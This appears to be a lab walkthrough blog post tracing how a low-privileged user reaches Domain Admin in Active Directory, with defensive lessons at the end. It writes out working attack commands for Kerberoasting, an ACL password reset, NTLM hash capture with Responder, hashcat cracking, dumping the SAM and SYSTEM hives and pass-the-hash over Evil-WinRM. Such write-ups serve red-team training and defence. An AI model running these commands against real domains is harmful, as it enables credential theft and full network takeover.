Listen to this Post
Introduction:
Active Directory (AD) remains the backbone of identity management for the vast majority of enterprises, making it the primary target for sophisticated adversaries. This article breaks down a realistic, multi-stage attack simulation that demonstrates how a low-privileged domain user can systematically exploit misconfigurations, weak permissions, and legacy protocols to achieve full Domain Admin compromise on a Windows Server 2022 Domain Controller. Understanding this attack chain is critical for both Red Teams building tradecraft and Blue Teams implementing defenses.
Learning Objectives:
- Understand how to chain multiple attack vectors (Kerberoasting, ACL exploitation, NTLM coercion) to move laterally and vertically within an Active Directory environment.
- Learn the practical execution of post-exploitation techniques, including the abuse of the `SeBackupPrivilege` to extract credentials from a Domain Controller.
- Identify the specific security misconfigurations and weak practices that enable each stage of the compromise and how to remediate them.
1. Initial Foothold and Kerberoasting
The simulation begins from the perspective of a completely unprivileged domain user, r.widdleton. With no special access, the attacker performs a Kerberoasting attack. This technique involves requesting service tickets for accounts running services under a user context (not computer accounts). The ticket is encrypted with the service account’s NTLM hash, which can be brute-forced offline.
To perform this, an attacker would use tools like Impacket’s `GetUserSPNs` or Rubeus.
Using Impacket from a Linux attack box impacket-GetUserSPNs -request -dc-ip <DC_IP> lab.undercode.com/r.widdleton
This command extracts the Ticket-Granting Service (TGS) tickets. Once cracked offline using Hashcat, the attacker recovers the credentials for r.haggard : rubeushagrid. This represents the first pivot from a standard user to an account with slightly more interesting privileges.
2. ACL Abuse (ForceChangePassword)
With the credentials for r.haggard, the attacker uses a tool like BloodHound to map the domain’s Active Directory permissions. BloodHound reveals that `r.haggard` has the `ForceChangePassword` permission over the user h.potch. This is a powerful yet often overlooked Access Control List (ACL) misconfiguration.
An attacker can exploit this using PowerShell with the Active Directory module or with tools like PowerView.
Using PowerView (PowerShell) to reset the password $NewPassword = ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force Set-DomainUserPassword -Identity 'h.potch' -AccountPassword $NewPassword -Credential (Get-Credential 'lab\r.haggard')
This step allows the attacker to take full control of h.potch‘s account without ever knowing its original password, demonstrating the danger of over-privileged service or user accounts.
3. Writable Share Abuse and NTLM Coercion
Now operating as h.potch, the attacker enumerates network shares and discovers a file share with Read and Write permissions. By planting a malicious `.lnk` (shortcut) file, the attacker can force any user browsing the share to authenticate back to an attacker-controlled machine.
Using the `slinky` module from tools like Metasploit or manually creating a .lnk file, the share is poisoned. The attacker then runs Responder on their machine to capture the NTLMv2 hash when the target user (in this case, h.grangon) accesses the share.
Running Responder on the attacker's interface (e.g., eth0) sudo responder -I eth0 -dwv
When the victim opens the share, their machine attempts SMB authentication to the attacker’s server, sending an NTLMv2 hash. This hash is captured by Responder and subsequently cracked offline.
Cracking the NTLMv2 hash with Hashcat hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
The cracked hash yields new credentials: h.grangon : magic4ever.
4. WinRM Lateral Movement
The attacker verifies the group membership of the newly compromised `h.grangon` account and finds it is part of the Remote Management Users group. This group allows for PowerShell remoting via WinRM.
Using Evil-WinRM, the attacker establishes a shell on the target machine.
Connecting to the Domain Controller via WinRM evil-winrm -i <DC_IP> -u h.grangon -p magic4ever
This provides an interactive PowerShell session on the Domain Controller, marking a critical pivot from a standard workstation to the heart of the domain.
5. Privilege Escalation via SeBackupPrivilege
Once inside the shell, the attacker checks their current privileges:
whoami /priv
The output reveals that `SeBackupPrivilege` is enabled. This privilege is typically assigned to backup operators and allows a user to read any file on the system, regardless of its Access Control List (ACL), for backup purposes. The attacker abuses this to copy the SAM and SYSTEM registry hives, which contain the local account hashes.
Saving the hives to disk reg save hklm\sam C:\temp\sam.hive reg save hklm\system C:\temp\system.hive Downloading the files (using Evil-WinRM's download functionality) download C:\temp\sam.hive /tmp/sam.hive download C:\temp\system.hive /tmp/system.hive
Back on the Linux attack machine, the attacker uses Impacket-secretsdump to extract the hashes.
Extracting local account hashes impacket-secretsdump -sam /tmp/sam.hive -system /tmp/system.hive LOCAL
This extracts the NTLM hash for the built-in Administrator account (RID 500) and other local users.
6. Password Reuse and Final Compromise
The attacker tests the extracted Administrator hash against other domain accounts, discovering that the password is reused for the account a.flatch. Using the Pass-the-Hash technique, the attacker authenticates as `a.flatch` without needing a plaintext password.
Using Evil-WinRM with a Pass-the-Hash attack evil-winrm -i <DC_IP> -u a.flatch -H <EXTRACTED_NTLM_HASH>
This grants access to the Administrator’s desktop, where the `root.txt` flag confirms the total domain compromise. The attack chain is complete: a lowly domain user now has full control over the entire network.
What Undercode Say:
- The Cascade Effect: This walkthrough highlights that modern AD compromises are rarely a single exploit. They are chains of “low and slow” moves that abuse legitimate tools and permissions. Defenders must monitor for unusual sequences of events, not just isolated malware signatures.
- Principle of Least Privilege is Non-Negotiable: Every escalation in this lab relied on excessive permissions (ACL rights, backup privileges) and password reuse. Organizations must regularly audit AD permissions with tools like BloodHound and enforce strict privilege separation between user and service accounts.
- Legacy Protocols are the Enemy: NTLM coercion and cracking remain devastatingly effective. Disabling NTLM where possible and enforcing SMB signing and Extended Protection for Authentication (EPA) are critical controls to cut off these lateral movement pathways.
Prediction:
As Microsoft continues to harden default configurations and push cloud-joined identities (Entra ID), on-premises Active Directory will increasingly become a “legacy” vulnerability. Attackers will pivot their focus from simply exploiting AD to abusing the hybrid identity sync between on-prem AD and the cloud. We will likely see a rise in attacks targeting Azure AD Connect servers to compromise cloud tenants by forging tokens, moving the goalpost from the Domain Controller to the synchronization engine.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Justin Thompson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
